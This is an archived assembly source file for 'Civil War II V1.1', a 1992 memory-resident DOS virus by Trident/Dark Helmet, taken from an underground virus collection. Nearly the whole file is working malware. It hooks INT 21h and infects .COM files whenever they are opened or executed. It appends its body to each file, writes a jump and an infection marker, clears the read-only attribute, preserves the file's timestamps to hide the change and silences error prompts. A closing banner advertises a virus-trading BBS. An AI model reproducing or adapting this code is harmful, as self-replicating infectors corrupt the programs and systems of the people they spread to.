home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / civil_ii.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  8.3 KB  |  309 lines

  1. ;****************************************************************************
  2.  
  3. ;   Civil War II V1.1                                                  *
  4.  
  5. ;                                                                *
  6.  
  7. ;   Assembled with Tasm 2.5                                            *
  8.  
  9. ;   (c) 1992 Trident/Dark Helmet, The Netherlands                             *
  10.  
  11. ;                                           *
  12.  
  13. ;****************************************************************************
  14.  
  15. ;                                        *
  16.  
  17. ;   Civil War...                                *
  18.  
  19. ;                                        *
  20.  
  21. ;   "For all I've seen has change my mind                               *
  22.  
  23. ;    But still the wars go on as the years go by                        *
  24.  
  25. ;    With no love for God or human rights                               *
  26.  
  27. ;    'Cause all these dreams are swept aside                            *
  28.  
  29. ;    By bloody hands of the hypnotized                        *
  30.  
  31. ;    Who carry the cross of homicide                                    *
  32.  
  33. ;    And history bears the scars of our civil war"                      *
  34.  
  35. ;                                                                *
  36.  
  37. ;****************************************************************************
  38.  
  39.  
  40.  
  41.               .Radix 16
  42.  
  43. Civil_War     Segment
  44.  
  45.         Model  small
  46.  
  47.               Assume cs:Civil_War, ds:Civil_War, es:Civil_War
  48.  
  49.  
  50.  
  51.               org 100h
  52.  
  53.  
  54.  
  55. len           equ offset last - begin
  56.  
  57. virus_len     equ len / 16d 
  58.  
  59.  
  60.  
  61. dummy:             db 0e9h, 03h, 00h, 44h, 48h, 00h       ; Jump + infection
  62.  
  63.                                               ; marker
  64.  
  65.  
  66.  
  67. begin:             Call virus                            ; make call to
  68.  
  69.                                                ; push IP on stack
  70.  
  71.  
  72.  
  73. virus:             pop      bp                          ; get IP from stack.
  74.  
  75.               sub      bp,109h                      ; adjust IP.
  76.  
  77.  
  78.  
  79. restore_host:      mov      di,0100h                    ; recover beginning
  80.  
  81.               lea      si,ds:[carrier_begin+bp]     ; of carrier program.
  82.  
  83.               mov      cx,06h
  84.  
  85.               rep      movsb
  86.  
  87.  
  88.  
  89. check_resident:    mov    ah,0a0h                     ; check if virus
  90.  
  91.              int    21h                         ; already installed.
  92.  
  93.              cmp    ax,0001h
  94.  
  95.              je       end_virus
  96.  
  97.  
  98.  
  99. adjust_memory:     mov      ax,cs                          ; start of Memory
  100.  
  101.               dec      ax                          ; Control Block
  102.  
  103.               mov      ds,ax
  104.  
  105.               cmp      byte ptr ds:[0000],5a          ; check if last
  106.  
  107.                                                ; block
  108.  
  109.               jne      abort                          ; if not last block
  110.  
  111.                                                ; end
  112.  
  113.               mov      ax,ds:[0003]                   ; decrease memory
  114.  
  115.               sub      ax,40                       ; by 1kbyte lenght
  116.  
  117.               mov      ds:[0003],ax
  118.  
  119.         sub    word ptr ds:[0012],40h
  120.  
  121.  
  122.  
  123. install_virus:     mov      bx,ax                          ; es point to start
  124.  
  125.               mov      ax,es                          ; virus in memory
  126.  
  127.               add      ax,bx
  128.  
  129.               mov      es,ax
  130.  
  131.               mov      cx,len                     ; cx = lenght virus
  132.  
  133.               mov      ax,ds                          ; restore ds
  134.  
  135.               inc      ax
  136.  
  137.               mov      ds,ax
  138.  
  139.               lea      si,ds:[begin+bp]               ; point to start virus
  140.  
  141.               lea      di,es:0100                     ; point to destination
  142.  
  143.               rep      movsb                          ; copy virus in
  144.  
  145.                                                ; memory
  146.  
  147.               mov      [virus_segment+bp],es             ; store start virus
  148.  
  149.                                                ; in memory
  150.  
  151.               mov     ax,cs                         ; restore es
  152.  
  153.               mov      es,ax
  154.  
  155.  
  156.  
  157. hook_vector:       cli                    ; no interups
  158.  
  159.               mov      ax,3521h            ; revector int 21
  160.  
  161.               int      21h
  162.  
  163.         mov     ds,[virus_segment+bp]
  164.  
  165.         mov      old_21h-6h,bx
  166.  
  167.               mov      old_21h+2-6h,es
  168.  
  169.  
  170.  
  171.               mov      dx,offset main_virus - 6h
  172.  
  173.               mov      ax,2521h
  174.  
  175.               int      21h
  176.  
  177.               sti
  178.  
  179.  
  180.  
  181. abort:             mov      ax,cs
  182.  
  183.              mov      ds,ax
  184.  
  185.               mov      es,ax
  186.  
  187.  
  188.  
  189. end_virus:         mov    bx,0100h            ; jump to begin
  190.  
  191.         jmp    bx                ; host file
  192.  
  193.  
  194.  
  195.         
  196.  
  197. ;*****************************************************************************
  198.  
  199.  
  200.  
  201. main_virus:        pushf                    
  202.  
  203.         cmp    ah,0a0h                ; check virus call
  204.  
  205.         jne    new_21h                ; no virus call
  206.  
  207.         mov    ax,0001h            ; ax = id
  208.  
  209.         popf                    ; return id    
  210.  
  211.         iret
  212.  
  213.         
  214.  
  215. new_21h:    push    ds                ; save registers
  216.  
  217.         push    es
  218.  
  219.         push    di
  220.  
  221.         push    si
  222.  
  223.         push    ax
  224.  
  225.         push    bx
  226.  
  227.         push    cx
  228.  
  229.         push    dx
  230.  
  231.  
  232.  
  233. check_open:    cmp    ah,3dh
  234.  
  235.         je    chk_com
  236.  
  237.  
  238.  
  239. check_exec:    cmp    ax,04b00h            ; exec function?
  240.  
  241.         je    chk_com
  242.  
  243.         
  244.  
  245. continu:    pop    dx                ; restore registers
  246.  
  247.         pop    cx
  248.  
  249.         pop    bx
  250.  
  251.         pop    ax
  252.  
  253.         pop    si
  254.  
  255.         pop    di
  256.  
  257.         pop    es
  258.  
  259.         pop    ds
  260.  
  261.         popf
  262.  
  263.         jmp    dword ptr cs:[old_21h-6]
  264.  
  265.  
  266.  
  267. chk_com:    mov    cs:[name_seg-6],ds
  268.  
  269.         mov    cs:[name_off-6],dx
  270.  
  271.         cld                    ; check extension
  272.  
  273.         mov    di,dx                ; for COM
  274.  
  275.         push    ds
  276.  
  277.         pop    es
  278.  
  279.         mov    al,'.'                ; search extension
  280.  
  281.         repne    scasb                ; check for 'COM"
  282.  
  283.         cmp    word ptr es:[di],'OC'        ; check 'CO'
  284.  
  285.         jne    continu
  286.  
  287.         cmp    word ptr es:[di+2],'M'        ; check 'M'
  288.  
  289.         jne    continu
  290.  
  291.         
  292.  
  293.         call    set_int24h
  294.  
  295.         call    set_atribuut
  296.  
  297.                 
  298.  
  299. open_file:    mov    ds,cs:[name_seg-6]
  300.  
  301.         mov    dx,cs:[name_off-6]
  302.  
  303.         mov    ax,3D02h            ; open file
  304.  
  305.         call     do_int21h
  306.  
  307.         jc    close_file
  308.  
  309.         push    cs
  310.  
  311.         pop    ds
  312.  
  313.         mov    [handle-6],ax
  314.  
  315.         mov    bx,ax    
  316.  
  317.  
  318.  
  319.         call    get_date    
  320.  
  321.         
  322.  
  323. check_infect:    push    cs
  324.  
  325.         pop    ds
  326.  
  327.         mov    bx,[handle-6]            ; read first 6 bytes
  328.  
  329.         mov    ah,3fh
  330.  
  331.         mov    cx,06h
  332.  
  333.         lea    dx,[carrier_begin-6]
  334.  
  335.         call    do_int21h
  336.  
  337.         mov    al, byte ptr [carrier_begin-6]+3 ; check initials    
  338.  
  339.         mov    ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
  340.  
  341.         cmp    ax,[initials-6]
  342.  
  343.         je    save_date             ; if equal already
  344.  
  345.                              ; infect
  346.  
  347.         
  348.  
  349. get_lenght:    mov    ax,4200h            ; file pointer begin
  350.  
  351.         call    move_pointer
  352.  
  353.         mov    ax,4202h            ; file pointer end
  354.  
  355.         call    move_pointer
  356.  
  357.         sub    ax,03h                ; ax = filelenght
  358.  
  359.         mov    [lenght_file-6],ax
  360.  
  361.         
  362.  
  363.         call    write_jmp
  364.  
  365.         call    write_virus
  366.  
  367.  
  368.  
  369. save_date:    push    cs
  370.  
  371.         pop    ds
  372.  
  373.         mov    bx,[handle-6]
  374.  
  375.         mov    dx,[date-6]
  376.  
  377.         mov    cx,[time-6]
  378.  
  379.         mov    ax,5701h
  380.  
  381.         call    do_int21h
  382.  
  383.  
  384.  
  385. close_file:    mov    bx,[handle-6]
  386.  
  387.         mov    ah,03eh                ; close file
  388.  
  389.         call    do_int21h
  390.  
  391.         
  392.  
  393.         mov    dx,cs:[old_24h-6]        ; restore int24h
  394.  
  395.         mov    ds,cs:[old_24h+2-6]
  396.  
  397.         mov    ax,2524h
  398.  
  399.         call    do_int21h
  400.  
  401.         
  402.  
  403.         jmp    continu        
  404.  
  405.         
  406.  
  407.         
  408.  
  409.  
  410.  
  411.  
  412.  
  413. new_24h:    mov    al,3
  414.  
  415.         iret
  416.  
  417.  
  418.  
  419. ;---------------------------------------------------------------------------
  420.  
  421. ;            PROCEDURES
  422.  
  423. ;---------------------------------------------------------------------------
  424.  
  425.  
  426.  
  427. move_pointer:    push    cs
  428.  
  429.         pop    ds
  430.  
  431.         mov    bx,[handle-6]
  432.  
  433.         xor    cx,cx
  434.  
  435.         xor    dx,dx
  436.  
  437.         call    do_int21h
  438.  
  439.         ret
  440.  
  441.  
  442.  
  443. do_int21h:    pushf
  444.  
  445.         call     dword ptr cs:[old_21h-6]
  446.  
  447.         ret
  448.  
  449.  
  450.  
  451. write_jmp:    push    cs
  452.  
  453.         pop    ds
  454.  
  455.         mov    ax,4200h
  456.  
  457.         call    move_pointer
  458.  
  459.         mov    ah,40h
  460.  
  461.         mov    cx,01h
  462.  
  463.         lea    dx,[jump-6]
  464.  
  465.         call    do_int21h
  466.  
  467.         mov    ah,40h
  468.  
  469.         mov    cx,02h
  470.  
  471.         lea    dx,[lenght_file-6]
  472.  
  473.         call    do_int21h
  474.  
  475.         mov    ah,40h
  476.  
  477.         mov    cx,02h
  478.  
  479.         lea    dx,[initials-6]
  480.  
  481.         call    do_int21h
  482.  
  483.         ret
  484.  
  485.  
  486.  
  487. write_virus:    push    cs
  488.  
  489.         pop    ds
  490.  
  491.         mov    ax,4202h
  492.  
  493.         call    move_pointer
  494.  
  495.         mov    ah,40
  496.  
  497.         mov    cx,len
  498.  
  499.         mov    dx,100
  500.  
  501.         call    do_int21h
  502.  
  503.         ret
  504.  
  505.  
  506.  
  507. get_date:    mov    ax,5700h
  508.  
  509.         call    do_int21h
  510.  
  511.         push    cs
  512.  
  513.         pop    ds
  514.  
  515.         mov    [date-6],dx
  516.  
  517.         mov    [time-6],cx
  518.  
  519.         ret
  520.  
  521.  
  522.  
  523. set_int24h:    mov    ax,3524h
  524.  
  525.         call    do_int21h
  526.  
  527.         mov    cs:[old_24h-6],bx
  528.  
  529.         mov    cs:[old_24h+2-6],es
  530.  
  531.         mov    dx,offset new_24h-6
  532.  
  533.         push    cs
  534.  
  535.         pop    ds
  536.  
  537.         mov    ax,2524h
  538.  
  539.         call    do_int21h
  540.  
  541.         ret
  542.  
  543.  
  544.  
  545. set_atribuut:    mov    ax,4300h            ; get atribuut
  546.  
  547.         mov    ds,cs:[name_seg-6]
  548.  
  549.         mov    dx,cs:[name_off-6]
  550.  
  551.         call    do_int21h
  552.  
  553.         and    cl,0feh                ; set atribuut
  554.  
  555.         mov    ax,4301h
  556.  
  557.         call    do_int21h        
  558.  
  559.         ret
  560.  
  561.  
  562.  
  563. ;---------------------------------------------------------------------------
  564.  
  565. ;                DATA
  566.  
  567. ;---------------------------------------------------------------------------
  568.  
  569.  
  570.  
  571. old_21h            dw  00h,00h
  572.  
  573. old_24h        dw  00h,00h
  574.  
  575. carrier_begin      db  090h, 0cdh, 020h, 044h, 048h, 00h
  576.  
  577. text          db  'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet, The Netherlands',00h
  578.  
  579. jump        db  0e9h
  580.  
  581. name_seg    dw  ?
  582.  
  583. name_off    dw  ?
  584.  
  585. virus_segment      dw  ?
  586.  
  587. lenght_file    dw  ?
  588.  
  589. handle        dw  ?
  590.  
  591. date        dw  ?
  592.  
  593. time        dw  ?
  594.  
  595. initials    dw  4844h
  596.  
  597. last          db  090h
  598.  
  599.  
  600.  
  601. Civil_war     ends
  602.  
  603.               end dummy
  604.  
  605. 
  606.  
  607. ;─────────────────────────────────────────────────────────────────────────;
  608.  
  609. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  610.  
  611. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  612.  
  613. ;─────────────────────────────────────────────────────────────────────────;
  614.  
  615.  
  616.  
  617.